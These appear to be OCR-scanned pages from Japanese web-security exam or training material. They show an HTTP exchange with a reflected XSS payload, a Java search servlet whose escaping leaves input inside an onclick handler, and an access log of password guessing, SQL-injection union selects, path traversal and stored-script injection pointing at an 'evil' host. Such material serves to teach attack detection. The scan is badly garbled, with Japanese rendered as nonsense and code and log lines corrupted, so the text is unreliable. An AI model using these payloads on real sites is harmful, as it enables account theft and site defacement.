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HTTP/1.1 280 OK

Date: Sun, @1 Apr 2012 12:00:00 GMT

Set-Cookie: JSESSIONID=@C3FE1B62D5BSA5SDESAG6ESD5C23F6F9
(LAF, A8

1 EREEAZRELEEEOOS A REBERD HTTP LAKRI R

GET /mypage/progA?PID=xx&QTY=yy"><script>alert("script")</script> HTTP/1.1
Host: www.a-sha.co.jp

Cookie: JSESSIONID=@C3FE1B62DS5BSASDESA@BESDSC23F6F9

Referer: http://www.a-sha.co.jp/progé

(LLF, #E8)
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HTTP/1.1 208 OK
(HEg)
<form name="form" method="post" action="/mypage/progB">
<table>
<tr>
<th>® & ID</th>
<td><input type="text" name="PID" value="xx" ></td>
<th>@#</th>
<td>
<input type="text" name="QTY" value="yy"><script>alert("script")</script>">
</td>
</tr>
</table>
(LLF, #HE8)
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@1: import java.io.*;

02: import java.util.*;

@3: import javax.servlet.*;

@4: import javax.servlet.http.*;

es:

@6: public class SearchWord extends HttpServlet {

e7: public void doGet(HttpServletRequest request, HttpServletResponse response)
e8: throws IOException, ServletException {

89:

1e: response.setContentType("text/html;charset=UTF-8");
11: PrintWriter out = response.getWriter();

123

13: String word = request.getParameter("word");

14: String category = request.getParameter("category");
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15

16: out.println("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML4.81 Transitional//EN\">");

17: out.println("<html>");

18: out.println("<head>");

19: out.println("<meta http-equiv=\"Content-Type\" content=\"text/html; charset= utf
-8\">");

20: out.println("<title>Search</title>");

21: out.println("</head>");

22: out.println("<body>");

23: out.println("<h3>Search</h3>");

24; out.println("<form action=\"searchWord\" method=\"GET\">");

25: out.println("word<br>");

26: out.println("<input type=\"text\" size=\"18\" name=\"word\">");

27: out.println("<br>");

28: out.println("category(option)<br>");

29: out.println("<input type=\"text\" size=\"18\" name=\"category\">");

3e: out.println("<br>");

31 out.println("<input type=\"submit\">");

32; out.println("</form>");

33

34: out.println("<br>");

35: out.println("- - results - - category: " + escape(category) + "<br>");

36:

37 out.println("<a name=\"#\" onclick= \"alert('" + escape(word) + "')\">");

38: out.println("Previous search word" );

39: out.println("</a>");

40:

41: if (word != null) {

42: searchResult(out, word, category);

43: }

44: out.println("</body>");

45: out.println("</html>");

46: }

47:

48: public void doPost(HttpServletRequest request, HttpServletResponse response)

49: throws IOException, ServletException {

50: doGet(request, response);

51: }

52:

53: private static String escape(String message) {

54: /l COBEEIZ, message [LEENDINFERDELD CEIBUL String O FF| %587,

55: // T&l — Tgamp;] <l — T&lt;1 [>] — l&gt;1 "] — T&quot;]

56: (5RE)

57: }

58:

59: private void searchResult(PrintWriter out, String word, String category) {

60: /] BBERTL, BREXRRT 5.

61: (H88)

62: ),

63: }
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private static String escape2(String message) {
// COMEIZ, message [CEENANFERODLD ICEML I String ROXFIZERL,
/! FDXFFH%E escape BEICEL, TOEROD String BOXFIEET,
o d e ot Q-2 |
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R1 Web¥—NDHTTP 72 £ZAAY (FET 2 £ R CHEY SEH D)
#5 P |00 @ y T XFH
1 |ipA |GET |logincgi |cid=yamada&pw=fajsl334
2 |ipB |GET |[login.cgi cid=cust51&pw=password
3 |ipC |GET |[login.cgi cid=tanaka&pw=p7g3dfb0
4 |ipB |GET [login.cgi cid=cust51&pw=pass
5 |ipB |GET |[login.cgi cid=cust51&pw=cust51
6 |ipB |[GET [login.cgi cid=cust51&pw=
7 [ipC |GET |search.cgi |item=gf34'and select cust_id, pwd, null, null from m_user where '1' = '1&kind=09
8 |ipB |GET |login.cgi cid=cust51&pw=15tsuc
9 |ipB |GET [login.cgi cid=custbl&pw=a
10 |[ipB |GET |[login.cgi cid=cust51&pw=b
11 |ipB |GET |login.cgi cid=custbl&pw=c
12 |ipD |GET |search.cgi |item=gf44' union select pwd, null, null, null from m_user where '1' = '1&kind=09
13 [ipB |GET |login.cgi cid=cust51&pw=d
14 |ipE |GET |login.cgi cid=cust01&pw=password
15 |ipG |GET |confirm.cgi |cat=0217&iname=..1s |
16 |ipE |GET [login.cgi cid=cust12&pw=password
17 |ipF |GET |searchcgi |item=gf36' union select cust_id, null, null, null from m_user where '1' = '1&kind=9
18 |ipC |GET |confirm.cgi |cat=1127&iname=tanaka> <script>alert("test"); </script>
19 [ipE |GET [logincgi |cid=cust33&pw=password
. . |item=0b24';update m_con n_url = ban_url "><a href="http: .evil,
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21 |ipH |GET [search.cgi |item=gf12' union select cust_id, pwd, null, null from m_user where '1' = '1&kind=09
; . |item=0b24;update m_contents set ban_url = ban_url "> <script type="text/javasc
“% pl  |GED seamh.cgl ript" 1anguag§="javas;ript">document.w_rite("{hth (gﬁ) -:/htnl:l >t3;?<iscﬁptti
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